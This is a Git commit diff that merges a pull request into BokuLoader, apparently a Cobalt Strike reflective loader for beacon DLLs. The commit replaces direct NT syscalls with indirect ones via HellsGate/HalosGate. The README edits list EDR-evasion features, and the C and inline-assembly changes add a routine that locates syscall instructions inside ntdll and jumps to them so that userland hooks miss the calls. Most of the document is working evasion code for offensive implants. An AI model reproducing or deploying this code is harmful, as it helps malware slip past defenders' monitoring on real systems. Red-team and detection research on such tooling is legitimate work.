Merge pull request #28 from ScriptIdiot/main

Support indirect syscall
This commit is contained in:
Bobby Cooke
2023-10-06 09:23:38 -07:00
committed by GitHub
3 changed files with 46 additions and 23 deletions
+7 -7
View File
@@ -23,8 +23,8 @@ _Before using this project, in any form, you should properly test the evasion fe
### BokuLoader Specific Evasion Features
- Custom ASM/C reflective loader code
- Direct NT syscalls via HellsGate & HalosGate techniques
- All memory protection changes for all allocation options are done via direct syscall to `NtProtectVirtualMemory`
- Indirect NT syscalls via HellsGate & HalosGate techniques
- All memory protection changes for all allocation options are done via indirect syscall to `NtProtectVirtualMemory`
- `obfuscate "true"` with custom UDRL Aggressor script implementation.
- NOHEADERCOPY
- Loader will not copy headers raw beacon DLL to virtual beacon DLL. First `0x1000` bytes will be nulls.
@@ -109,12 +109,12 @@ _Before using this project, in any form, you should properly test the evasion fe
### Sleepmask Detection
- If sleepmask kit is used, there exists detection methods for this independent memory allocation [as detailed by MDSec here](https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/)
### Direct Syscalls
+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtFreeVirtualMemory`
+ These are called directly from the BokuLoader executable memory. These system calls are not backed by NTDLL memory.
### Indirect Syscalls
+ BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`
+ These are called indirectly from the BokuLoader executable memory.
+ Setting userland hooks in `ntdll.dll` will not detect these systemcalls.
+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage when they are not called from `ntdll.dll`.
+ The BokuLoader itself will contain the `mov eax, r11d; syscall; ret` assembly instructions within its executable memory.
+ It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
+ The BokuLoader itself will contain the `mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11` assembly instructions within its executable memory.
### Virtual Beacon DLL Header
- The first `0x1000` bytes of the virtual beacon DLL are zeros.
+37 -15
View File
@@ -54,7 +54,7 @@ void * BokuLoader()
size = raw_beacon_dll.size + 0x2000;
oldprotect = 0;
// NtProtectVirtualMemory syscall
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
// Have to zero out the memory for the DLL memory to become a private copy, else unwritten memory in beacon DLL can cause a crash.
RtlSecureZeroMemory(base,size);
@@ -70,7 +70,7 @@ void * BokuLoader()
if(base){
oldprotect = 0;
virtual_beacon_dll.dllBase = base;
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
}
}
@@ -82,7 +82,7 @@ void * BokuLoader()
if(base){
oldprotect = 0;
virtual_beacon_dll.dllBase = base;
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, raw_beacon_dll.BeaconMemoryProtection, &oldprotect);
}
}
@@ -91,7 +91,7 @@ void * BokuLoader()
// Allocate new memory to write our new RDLL too
base = NULL;
size = raw_beacon_dll.size;
HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory));
HellsGate(getSyscallNumber(api.pNtAllocateVirtualMemory), api.pNtAllocateVirtualMemory);
((tNtAlloc)HellDescent)(NtCurrentProcess(), &base, 0, &size, MEM_RESERVE|MEM_COMMIT, raw_beacon_dll.BeaconMemoryProtection);
RtlSecureZeroMemory(base,size); // Zero out the newly allocated memory
@@ -115,7 +115,7 @@ void * BokuLoader()
size = virtual_beacon_dll.TextSectionSize;
newprotect = PAGE_EXECUTE_READ;
// NtProtectVirtualMemory syscall
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory));
HellsGate(getSyscallNumber(api.pNtProtectVirtualMemory), api.pNtProtectVirtualMemory);
((tNtProt)HellDescent)(NtCurrentProcess(), &base, &size, newprotect, &oldprotect);
}
@@ -1126,17 +1126,39 @@ __asm__(
"pop rdi \n"
"ret \n"
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
"xor r11, r11 \n"
"mov r11d, ecx \n" // Save Syscall Number in R11
"ret \n"
"HellsGate: \n" // Loads the Syscall number into the R11 register before calling HellDescent()
"xor r11, r11 \n"
"mov r11d, ecx \n" // Save Syscall Number in R11
"push rdx \n"
"pop rcx \n" // Save NtApi address in RCX
"call GetSyscallAddress \n"
"mov r10, rcx \n" //Save syscall address in R10
"ret \n"
"HellDescent: \n" // Called directly after HellsGate
"xor rax, rax \n"
"mov r10, rcx \n"
"mov eax, r11d \n" // Move the Syscall Number into RAX before calling syscall interrupt
"syscall \n"
"ret \n"
"HellDescent: \n" // Called directly after HellsGate
"xor rax, rax \n"
"mov eax, r11d \n" // Move the Syscall Number into RAX
"mov r11, r10 \n" // Move the syscall address to R11
"mov r10, rcx \n"
"jmp r11 \n"
"GetSyscallAddress: \n" // Get the syscall address by byte by byte checking
"mov edx, 25 \n"
"find_syscall_address_loop: \n"
"mov r10, [rcx+rdx-1] \n"
"cmp r10, 0x05 \n"
"jne find_syscall_address_next \n"
"mov r10, [rcx+rdx-2] \n"
"cmp r10, 0x0F \n"
"jne find_syscall_address_next \n"
"lea rcx, [rcx+rdx-2] \n"
"mov rax, rcx \n"
"ret \n"
"find_syscall_address_next: \n"
"dec edx \n"
"jnz find_syscall_address_loop \n"
"xor rax, rax \n"
"ret \n"
"getFirstEntry: \n" // RAX, RCX
"mov rax, gs:[0x60] \n" // ProcessEnvironmentBlock // GS = TEB
+2 -1
View File
@@ -308,8 +308,9 @@ void * getRip(void);
unsigned int copyWithDelimiter(void * dst, void * src, unsigned int n, CHAR delimiter);
void xorc(unsigned __int64 length, unsigned char * buff, unsigned char maskkey);
void GetSyscallAddress(void * ntdllApiAddr);
unsigned long findSyscallNumber(void * ntdllApiAddr);
unsigned long HellsGate(unsigned long wSystemCall);
unsigned long HellsGate(unsigned long wSystemCall, void * ntdllApiAddr);
void HellDescent(void);
unsigned long halosGateDown(void * ntdllApiAddr, unsigned long index);
unsigned long halosGateUp(void * ntdllApiAddr, unsigned long index);